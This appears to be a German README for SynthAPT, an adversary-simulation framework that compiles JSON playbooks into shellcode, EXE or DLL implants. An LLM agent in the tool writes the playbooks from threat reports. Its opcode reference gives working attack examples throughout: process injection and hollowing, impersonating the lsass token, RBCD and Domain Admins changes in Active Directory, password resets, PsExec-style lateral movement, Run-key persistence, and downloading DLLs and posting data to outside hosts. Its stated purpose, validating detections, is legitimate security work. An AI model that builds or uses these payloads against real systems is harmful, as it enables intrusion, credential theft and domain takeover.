SynthAPT

Übersicht
SynthAPT ist ein playbook-basiertes Framework zur Adversary-Simulation für die Nachbildung komplexer Angriffspfade. Es ist für die Validierung fortschrittlicher Erkennungen und KI-basierter Untersuchungsagenten konzipiert. Die Kernidee ist, dass Malware-Verhalten in JSON ausgedrückt und in funktionsfähige Malware kompiliert werden kann, was eine schnelle Entwicklung realistischer Szenarien mithilfe von LLMs ermöglicht.

Das Kernimplantat ist ein Shellcode-Payload, der von einem Playbook-Interpreter gesteuert wird. Ein Playbook definiert den gesamten Angriffspfad vor, und das Implantat folgt ihm, indem es sich durch Prozessinjektion, laterale Bewegung usw. durch die Umgebung bewegt. Jedes Implantat wird als unabhängiger Thread mit eigenem Befehlssatz gestartet, sodass mehrstufige Angriffe (z. B. initialer Zugriff → Privilegienerweiterung → laterale Bewegung → Exfiltration) als Graph kooperierender Implantate dargestellt werden, die alle im Voraus im Playbook definiert sind. Dies hat drei wesentliche Vorteile:
- Payloads können echte Malware ohne C2-Infrastruktur nachahmen – der gesamte Angriffspfad ist im Payload eingebettet und C2-Interaktionen können simuliert werden
- Payloads sind wiederholbar – sie führen den gesamten Angriffspfad jedes Mal identisch aus, was sie für Regressionstests von Erkennungen geeignet macht
- LLMs können Threat-Intelligence-Berichte und Blogbeiträge direkt in funktionsfähige Payloads übersetzen, ohne dass offensive Fachkenntnisse oder der Aufbau von Malware von Grund auf erforderlich sind

Funktionen
- Positionsunabhängiger Shellcode – das Implantat ist vollständig PIC und kann in jeden Loader oder Injector eingebaut werden
- Umfangreiche Opcode-Bibliothek – Ausführung, Token-Manipulation, Prozessinjektion, Prozessaushöhlung, laterale Bewegung, AD-Enumeration und -Modifikation, Registrierung, Dienste und mehr
- Selbstreplizierende Payloads – das Implantat kann sich selbst als EXE oder DLL mit einem anderen Aufgabensatz ablegen, was eine mehrstufige Zustellung ohne C2 ermöglicht
- Flexible Ausgabeformate – Kompilieren eines Playbooks zu rohem Shellcode, einer PE EXE oder einer PE DLL
- Python im Speicher – ein Python-Interpreter kann zur Laufzeit reflektiv geladen werden, wodurch alle Implantatfähigkeiten als Python-Modul für flexible Skripterstellung verfügbar gemacht werden
- NPC-Simulation – 'Explorer'-Opcodes ermöglichen das Entpacken und automatische Starten von Payloads auf eine Weise, die automatisch Benutzerinteraktionsartefakte reproduziert (wenn in Explorer.exe injiziert)
- TUI-Editor mit LLM-Agent – ein terminalbasierter Playbook-Editor mit integriertem Claude-Agent, der Playbooks aus natürlicher Sprache oder Threat Intelligence generieren und bearbeiten kann
- BOF-Lader – die Funktionalität kann mit standardmäßigen Beacon Object Files erweitert werden
Aus dem Quellcode erstellen
Wenn Sie das Release nicht verwenden möchten, können Sie es wie folgt kompilieren:
- cargo
- rustup
- binutils-mingw-w64-x86-64```bash
cargo install cargo-make
rustup toolchain install nightly
rustup target add x86_64-pc-windows-gnu --toolchain nightly
sudo apt install gcc-mingw-w64-x86-64
Mit cargo make bauen:```bash
cargo make build
./target/release/synthapt
Dies wird den Shellcode und den Editor kompilieren.
Verwendung
Wenn Sie SynthAPT ohne Befehle ausführen, gelangen Sie in den Editor. Sie können einen Claude API-Key angeben und die Änderungen während der Eingabe anzeigen.```bash
SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands:
edit Open the TUI editor with a playbook loaded from PATH
validate Validate a playbook JSON file and print any errors
export-skill Export the agent system prompt as a Claude Code slash command skill
compile Compile a playbook to a payload
Wenn Sie ein anderes LLM oder ein Abonnement verwenden möchten, können Sie `synthapt export-skill` ausführen und das mit Ihrem jeweiligen Coding-Setup verwenden.
Es sollte ein JSON-Playbook ausgeben. Kompilieren Sie es mit dem compile-Befehl in ein Payload:```bash
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
Opcodes-Referenz
Konstanten können als Zeichenketten, Hex-Objekte oder Base64-Objekte definiert werden:```json
"constants": [
"c:\windows\temp\file.txt",
{ "hex": "deadbeef" },
{ "base64": "SGVsbG8=" }
]
---
### end (0x00)
Ende des Aufgabensatzes. Wird automatisch vom Compiler angehängt – Sie müssen es nicht hinzufügen.
---
### store_result (0x01)
Speichert das letzte Operationsergebnis in einer Variable.
| Feld | Typ | |
|-------|------|-|
| var | u16 | **erforderlich** |```json
{ "op": "store_result", "var": 0 }
get_shellcode (0x02)
Gibt die aktuellen Shellcode-Bytes zurück, optional mit einer Task-ID und/oder einem Magic-Wert eingefügt.
| Field | Type | |
|---|
| task | u8 | optional |
| magic | u32 Hex-String oder Zahl | optional |
---
### sleep (0x03)
Schlafe für die angegebene Anzahl von Millisekunden.
| Field | Type | |
|-------|------|-|
| ms | u32 | **erforderlich** |```json
{ "op": "sleep", "ms": 5000 }
run_command (0x04)
Führen Sie einen Befehl über cmd.exe aus.
| Feld | Typ | |
|---|
| command | string | erforderlich |
| { "op": "run_command", "command": "whoami /all" } | | |
### get_cwd (0x05)
Aktuelles Arbeitsverzeichnis abrufen. Keine Argumente.```json
{ "op": "get_cwd" }
read_file (0x06)
Liest eine Datei und gibt deren Inhalt zurück.
| Field | Type | |
|---|
| path | string | erforderlich |
| { "op": "read_file", "path": "c:\users\public\data.txt" } | | |
| { "op": "read_file", "path": "%0" } | | |
### write_file (0x07)
Schreibe Bytes in eine Datei.
| Feld | Typ | |
|-------|------|-|
| path | string | **erforderlich** |
| content | bytes | *optional* (leere Datei, wenn ausgelassen) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }
check_error (0x08)
Gibt den Statuscode einer Variablen aus (0 = Erfolg, ungleich Null = Fehler).
| Field | Type | |
|---|
| var | u16 | erforderlich |
| { "op": "check_error", "var": 0 } | | |
---
### conditional (0x09)
Verzweige zu verschiedenen Task-Indizes basierend auf dem Zustand einer Variable.
| Feld | Typ | |
|-------|------|-|
| mode | `"data"` oder `"error"` | **erforderlich** |
| var1 | u16 | **erforderlich** |
| var2 | u16 | *optional* (zwei Variablen vergleichen anstatt einzelne Prüfung) |
| true | u16 | **erforderlich** (Task-Index, wenn die Bedingung wahr ist) |
| false | u16 | **erforderlich** (Task-Index, wenn die Bedingung falsch ist) |
`true_target` und `false_target` werden als Aliase für `true` und `false` akzeptiert.
Einzelvariablen-Modi:
- `"data"` — wahr, wenn var1 nicht-leere Daten hat
- `"error"` — wahr, wenn var1-Status 0 ist (Erfolg)
Zwei-Variablen-Modi (var2 vorhanden):
- `"data"` — wahr, wenn var1-Daten gleich var2-Daten sind
- `"error"` — wahr, wenn var1-Fehlercode gleich var2-Fehlercode ist```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
set_var (0x0A)
Setzt eine Variable auf einen Literalwert.
| Feld | Typ | |
|---|
| var | u16 | erforderlich |
| data | bytes | optional (leer, falls nicht angegeben) |
Literal-Strings und Hex-/Base64-Werte werden mit einem 5-Byte-Ergebnispräfix gespeichert, damit sie beim Rücklesen wie normale Operationsergebnisse aussehen. Variable- ($n) und Konstanten- (%n) Referenzen werden unverändert durchgereicht.```json
{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
---
### print_var (0x0B)
Gibt den Inhalt einer Variable auf stdout aus (Debug). Lasse `var` weg, um das letzte Operationsergebnis auszugeben.
| Feld | Typ | |
|-------|------|-|
| var | u16 | *optional* (gibt letztes Ergebnis aus, falls nicht vorhanden) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }
goto (0x0C)
Unbedingter Sprung zu einem Task-Index innerhalb des aktuellen Task-Sets.
| Feld | Typ | |
|---|
| target | u16 | erforderlich |
| { "op": "goto", "target": 2 } | | |
---
### migrate (0x0D)
Schleusen Sie Shellcode in einen Prozess ein, der einem Suchstring oder einer PID entspricht.
| Field | Type | |
|-------|------|-|
| task_id | u8 | **erforderlich** |
| search | string or number | *optional* (leer = keine Suche; Zahl = Ziel-PID) |
| magic | u32 hex string or number | *optional* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
list_procs (0x0E)
Laufende Prozesse auflisten. Gibt tabulatorgetrennte Zeilen zurück: pid\timage\tcmdline\n. Keine Argumente.```json
{ "op": "list_procs" }
---
### get_const (0x0F)
Lade eine Konstante in das letzte Ergebnis. Akzeptiert `index` oder `const_idx` als Feldnamen.
| Feld | Typ | |
|-------|------|-|
| index | u16 | **erforderlich** |```json
{ "op": "get_const", "index": 0 }
wmi_exec (0x10)
Führen Sie einen Befehl über WMI aus, optional auf einem entfernten Host.
---
### http_send (0x11)
Senden Sie eine HTTP/S-Anfrage.
| Field | Type | |
|-------|------|-|
| host | string | **erforderlich** |
| method | string | *optional* (default: `"GET"`) |
| port | u16 | *optional* (default: `80`) |
| path | string | *optional* (default: `"/"`) |
| secure | bool | *optional* (default: `false`) |
| body | bytes | *optional* (leer, falls weggelassen) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }
sacrificial (0x12)
Erzeuge einen angehaltenen Prozess, injiziere Shellcode und setze ihn fort.
---
### redirect_stdout (0x13)
Leitet stdout in eine Datei oder Named Pipe um. Nachfolgende Ausgaben von `run_command` werden dorthin geleitet.
| Feld | Typ | |
|-------|------|-|
| path | string | **erforderlich** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }
shellcode_server (0x14)
Starte einen TCP-Server, der Shellcode an verbundene Clients ausliefert. Jeder Client erhält eine Kopie mit einem inkrementierenden Magic-Wert.
| Feld | Typ | |
|---|
| port | u16 | erforderlich |
| magic_base | u32 hex string or number |
---
### resolve_hostname (0x15)
Löst einen Hostnamen in eine IPv4-Adresszeichenfolge auf.
| Field | Type | |
|-------|------|-|
| hostname | string | **erforderlich** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }
psexec (0x16)
Kopiert eine Binärdatei über SMB auf einen entfernten Host und führt sie als Dienst aus (PsExec-ähnliche seitliche Bewegung).
### generate_exe (0x17)
Generieren Sie eine PE-ausführbare Datei mit dem aktuellen Shellcode und Bytecode.
| Feld | Typ | |
|-------|------|-|
| task_id | u8 | **erforderlich** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }
run_bof (0x18)
Führt eine Beacon Object File (BOF) aus.
---
### query_ldap (0x19)
Ein LDAP-Verzeichnis abfragen.
| Feld | Typ | |
|-------|------|-|
| base | string | **erforderlich** (Basis-DN) |
| filter | string | **erforderlich** |
| scope | u8 | *optional* (Standard: `2` = subtree; `0` = base, `1` = one-level) |
| attribute | string | *optional* (leer = gibt alle Attribute zurück) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }
set_ad_attr_str (0x1A)
Setzt ein Active Directory-Attribut auf einen Zeichenfolgenwert.
---
### set_ad_attr_bin (0x1B)
Setzt ein Active Directory-Attribut auf einen binären Wert. Übergeben Sie einen leeren Wert, um das Attribut zu löschen.
| Field | Type | |
|-------|------|-|
| dn | string | **erforderlich** |
| attr | string | **erforderlich** |
| value | bytes | **erforderlich** (leer = Attribut löschen) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }
portscan (0x1C)
Scannt TCP-Ports auf einem oder mehreren Zielen. Gibt host\tport\n-Zeilen nur für offene Ports zurück.
---
### set_user_password (0x1D)
Setzt das Passwort eines lokalen oder Domänenbenutzers über NetUserSetInfo.
| Field | Type | |
|-------|------|-|
| username | string | **erforderlich** |
| password | string | **erforderlich** |
| server | string | *optional* (leer = lokaler Rechner) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }
add_user_to_localgroup (0x1E)
Fügt einen Benutzer zu einer lokalen Gruppe über NetLocalGroupAddMembers hinzu.
### remove_user_from_localgroup (0x1F)
Entfernt einen Benutzer aus einer lokalen Gruppe über NetLocalGroupDelMembers.
| Field | Type | |
|-------|------|-|
| group | string | **erforderlich** |
| username | string | **erforderlich** |
| server | string | *optional* (leer = lokaler Rechner) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }
get_user_sid (0x20)
Ermittelt die SID-Zeichenfolge eines Benutzers über LookupAccountName.
| Field | Type | |
|---|
| username | string | erforderlich |
| server | string | optional (leer = lokaler Rechner) |
Gibt eine SID-Zeichenfolge zurück, z. B. S-1-5-21-....```json
{ "op": "get_user_sid", "username": "Administrator" }
{ "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }
---
### add_user_to_group (0x21)
Fügt einen Benutzer zu einer Domänengruppe hinzu mithilfe von NetGroupAddUser.
| Feld | Typ | |
|-------|------|-|
| group | string | **erforderlich** |
| username | string | **erforderlich** |
| server | string | *optional* (leer = lokaler DC) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
remove_user_from_group (0x22)
Entfernt einen Benutzer aus einer Domänengruppe über NetGroupDelUser.
---
### create_rbcd_ace (0x23)
Erstelle eine binäre ACE für Resource-Based Constrained Delegation. Das Ergebnis eignet sich zum direkten Schreiben in `msDS-AllowedToActOnBehalfOfOtherIdentity`.
| Field | Type | |
|-------|------|-|
| sid | string | **erforderlich** (SID-String, z.B. von `get_user_sid`) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }
reg_create_key (0x24)
Erstellt einen Registrierungsschlüssel.
| Feld | Typ | |
|---|
| Schlüssel | string | erforderlich (vollständiger Pfad, z.B. "HKLM\\SOFTWARE\\MyApp") |
| { "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" } | | |
---
### reg_delete_key (0x25)
Löscht einen Registrierungsschlüssel.
| Feld | Typ | |
|-------|------|-|
| key | string | **erforderlich** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }
reg_set_value (0x26)
Setzen Sie einen Registrierungswert.
---
### reg_query_value (0x27)
Fragt einen Registrierungswert ab. Gibt die rohen Wertbytes zurück.
| Feld | Typ | |
|-------|------|-|
| key | string | **erforderlich** |
| value_name | string | **erforderlich** (leere Zeichenfolge für Standardwert) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }
make_token (0x28)
Erstelle einen Identitätswechsel-Token über LogonUser und führe den Identitätswechsel durch. Der Standard-Anmeldetyp ist 9 (LOGON32_LOGON_NEW_CREDENTIALS), der die angegebenen Anmeldeinformationen für ausgehende Netzwerkverbindungen verwendet, während der lokale Token unverändert bleibt.
---
### impersonate_process (0x29)
Einen Prozesstoken öffnen und diesen imitieren. Nützlich für Privilegieneskalation oder seitlichen Token-Diebstahl.
| Feld | Typ | |
|-------|------|-|
| search | string | **erforderlich** (stimmt mit Bildnamen oder Befehlszeile überein) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }
enable_privilege (0x2A)
Aktivieren eines Privilegs auf einem Prozess-Token.
---
### list_process_privs (0x2B)
Listet die Privilegiennamen und deren aktivierten/deaktivierten Zustand für einen Prozess auf. Gibt `name\tenabled\n` oder `name\tdisabled\n` Zeilen zurück.
| Field | Type | |
|-------|------|-|
| search | string | *optional* (leer = aktueller Prozess) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }
list_thread_privs (0x2C)
Listet Privilegien im aktuellen Thread-Token auf. Gibt dasselbe Format wie list_process_privs zurück. Keine Argumente.```json
{ "op": "list_thread_privs" }
---
### delete_file (0x2D)
Löschen einer Datei.
| Feld | Typ | |
|-------|------|-|
| path | string | **erforderlich** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }
revert_to_self (0x2E)
Zum ursprünglichen Prozess-Token zurückkehren und jede Identitätsübernahme beenden. Keine Argumente.```json
{ "op": "revert_to_self" }
---
### start_service (0x2F)
Startet einen Windows-Dienst.
| Feld | Typ | |
|-------|------|-|
| service_name | string | **erforderlich** |
| target | string | *optional* (leer = lokaler Rechner) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }
delete_service (0x30)
Löscht einen Windows-Dienst.
| Feld | Typ | |
|---|
| service_name | string | erforderlich |
### create_thread (0x31)
Erzeugt einen neuen Thread im aktuellen Prozess, der eine Kopie des Shellcodes ausführt. Wenn `magic` ausgelassen wird, durchsucht es die Prozess-Heaps, um eine eindeutige Magic zu finden, die nicht mit bestehenden Instanzen kollidiert.
| Field | Type | |
|-------|------|-|
| task | u8 | *optional* (weglassen oder `255` = gleicher Task-Satz wie aktueller Thread) |
| magic | u32 hex string or number | *optional* (automatisch erkannt, falls weggelassen) |
> **Warnung**: Das Auslassen von `task` führt den gleichen Task-Satz in einem neuen Thread aus. Wenn der Task-Satz erneut `create_thread` aufruft, führt dies zu unendlich vielen Threads.```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }
generate_dll (0x32)
Erzeuge eine DLL mit dem aktuellen Shellcode. Führt Shellcode bei DLL_PROCESS_ATTACH aus und exportiert eine benannte Funktion, die ebenfalls Shellcode ausführt.
---
### shell_execute (0x33)
Führt eine Datei über COM mit ShellExecuteEx aus. Der resultierende Prozess scheint von der Shell gestartet zu werden.
| Feld | Typ | |
|-------|------|-|
| path | string | **erforderlich** |
| verb | string | *optional* (z.B. `"open"`, `"runas"`) |
| args | string | *optional* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }
Extrahiert ein ZIP-Archiv mithilfe der Windows-Shell.
| Feld | Typ | |
|---|
| path | string | erforderlich (Pfad zur ZIP-Datei) |
Extrahiert in einen Ordner mit demselben Namen wie die ZIP-Datei (ohne Erweiterung) im selben Verzeichnis.```json
{ "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }
---
### shell_execute_explorer (0x35)
Führen Sie eine Datei über explorer.exe als übergeordneten Prozess mittels COM aus. Der erzeugte Prozess scheint vom Benutzer über den Explorer gestartet worden zu sein.
| Feld | Typ | |
|-------|------|-|
| path | string | **erforderlich** |
| verb | string | *optional* |
| args | string | *optional* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }
load_library (0x36)
Lädt eine DLL in den aktuellen Prozess über LoadLibraryW.
| Field | Type | |
|---|
| path | string | erforderlich |
| { "op": "load_library", "path": "C:\Users\Public\payload.dll" } | | |
---
### pyexec (0x37)
Lade eine Python-DLL von einer URL herunter (nach erstem Download im Cache gespeichert) und führe dann ein Python-Skript aus. Stellt ein `agent`-Modul mit Bindungen an alle Agenten-Opcodes bereit.
| Feld | Typ | |
|-------|------|-|
| url | string | *optional* (URL zur Python-DLL; leer = bereits geladene Python verwenden) |
| script | string | *optional* (Python-Code zum Ausführen; leer = initialisieren ohne Ausführung) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }
hollow (0x38)
Process Hollowing: einen legitimen Prozess im angehaltenen Zustand starten, seinen Einstiegspunkt mit Shellcode überschreiben und fortsetzen.
---
### migrate_apc (0x39)
Starte einen angehaltenen Prozess, allokiere RWX-Speicher, schreibe Shellcode, stelle einen APC in die Warteschlange des Hauptthreads und setze den Prozess fort. Gibt die PID des gestarteten Prozesses zurück.
| Feld | Typ | |
|-------|------|-|
| image | string | **erforderlich** |
| task_id | u8 | **erforderlich** |
| magic | u32 hex string or number | *optional* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }
register_service (0x3A)
Registriert den aktuellen Prozess als Windows-Dienst durch Aufruf von StartServiceCtrlDispatcher. Muss früh aufgerufen werden, wenn der Prozess vom Dienstkontrollmanager (SCM) gestartet wird, da der SCM ihn sonst nach ca. 30 Sekunden beendet. Führt die SCM-Kommunikation in einem Hintergrundthread aus, sodass die Hauptaufgabe normal fortgesetzt wird.
| Feld | Typ | |
|---|
| service_name | string | erforderlich (Alias: name) |
| { "op": "register_service", "service_name": "MySvc" } | | |
---
### exit_process (0x3B)
Beende den aktuellen Prozess.
| Feld | Typ | |
|-------|------|-|
| exit_code | u32 | *optional* (Standard: `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }
hollow_apc (0x3C)
Einen Prozess im unterbrochenen Zustand starten und Shellcode per APC injizieren. Ähnlich wie migrate_apc, aber mit optionalem PPID-Spoofing.
---
### frida_hook (0x3F)
Lade eine Frida-Gadget-DLL von einer URL herunter (nach dem ersten Download zwischengespeichert) und installiere einen JavaScript-Hook.
| Feld | Typ | |
|-------|------|-|
| url | string | **erforderlich** |
| script | string | **erforderlich** (JavaScript, das die Frida-API verwendet) |
| name | string | *optional* (Hook-Name für spätere Referenz mit `frida_unhook`) |
| callback_host | string | *optional* (Host, an den HTTP-POST-Nachrichten von `send()` gesendet werden) |
| callback_port | u16 | *optional* |
| batch_size | u32 | *optional* (Nachrichten pro HTTP-POST-Batch; Standard: `50`) |
| flush_interval | u32 | *optional* (Leerungsintervall in ms; Standard: `5000`) |
Nachrichten, die über `send()` in JavaScript gesendet werden, werden entweder an `callback_host:callback_port/frida` gepostet oder bei fehlender Callback-Konfiguration in die Standardausgabe geschrieben.```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }
frida_unhook (0x40)
Entlade einen Frida-Hook. Ohne Argumente werden alle Hooks entladen.
---
### kill (0x42)
Beenden einer laufenden Agent-Instanz anhand ihres Magic-Werts.
| Feld | Typ | |
|------|-----|-|
| magic | u32 hex string or number | *optional* (weglassen, um die aktuelle Instanz zu beenden) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }
http_beacon (0x43)
Stelle eine Verbindung zu einem HTTP-C2-Server her und frage nach Bytecodes-Aufgaben.
---
### mem_read (0x44)
Lese Rohbytes von einer Speicheradresse im aktuellen oder einem entfernten Prozess.
| Feld | Typ | |
|-------|------|-|
| address | Hex-String | **erforderlich** (Adresse als Hex-Zeichen, z.B. `"7FFE0030"`; `0x`-Präfix wird automatisch entfernt) |
| size | u32 | **erforderlich** |
| pid | u32 | *optional* (entfernter Prozess; für lokales Lesen weglassen) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }
dll_list (0x45)
Durchlaufe die PEB LDR InLoadOrderModuleList und gib geladene Module zurück. Gibt postcard-serialisiertes Vec<ProcessResult<ModuleInfo>> zurück.
---
### mem_map (0x46)
Zählt virtuelle Speicherbereiche via `VirtualQuery`/`VirtualQueryEx` auf. Gibt postcard-serialisiertes `Vec<ProcessResult<MemRegion>>` zurück. Überspringt FREE-Bereiche; IMAGE-Bereiche enthalten Modulname und PE-Abschnitt.
| Feld | Typ | |
|-------|------|-|
| pid | u32 oder `"all"` | *optional* (weglassen = aktueller Prozess; `"all"` = jeder zugängliche Prozess) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }
malfind (0x47)
Findet festgelegte private ausführbare Speicherbereiche – Indikatoren für injizierten Shellcode oder reflective DLLs. Überspringt Seiten, die nur Nullen enthalten, und notiert Bereiche mit MZ-Headern. Gibt postcard-serialisiertes Vec<ProcessResult<MalfindHit>> zurück.
---
### ldr_check (0x48)
Vergleiche IMAGE-Speicherbereiche mit der PEB-Modulliste, um nicht verknüpfte oder versteckte DLLs zu finden — Bereiche mit MZ-Headern, die nicht in `InLoadOrderModuleList` vorhanden sind. Gibt postcard-serialisiertes `Vec<ProcessResult<LdrCheckHit>>` zurück.
| Feld | Typ | |
|------|-----|-|
| pid | u32 oder `"all"` | *optional* (weglassen = aktueller Prozess; `"all"` = jeder zugängliche Prozess) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }
Erkennung
Wie alle Frameworks hat auch das Implantat einen deutlichen In-Memory-Footprint und viele Klartext-Strings, die es verraten. Sie können Signaturen auf Basis der Shellcode-Datei out/shellcode.bin erstellen.
Namensnennung
Dieses Projekt erweitert Rustic64Shell von safedev.
Die reflektiv geladene Python-DLL stammt von farfella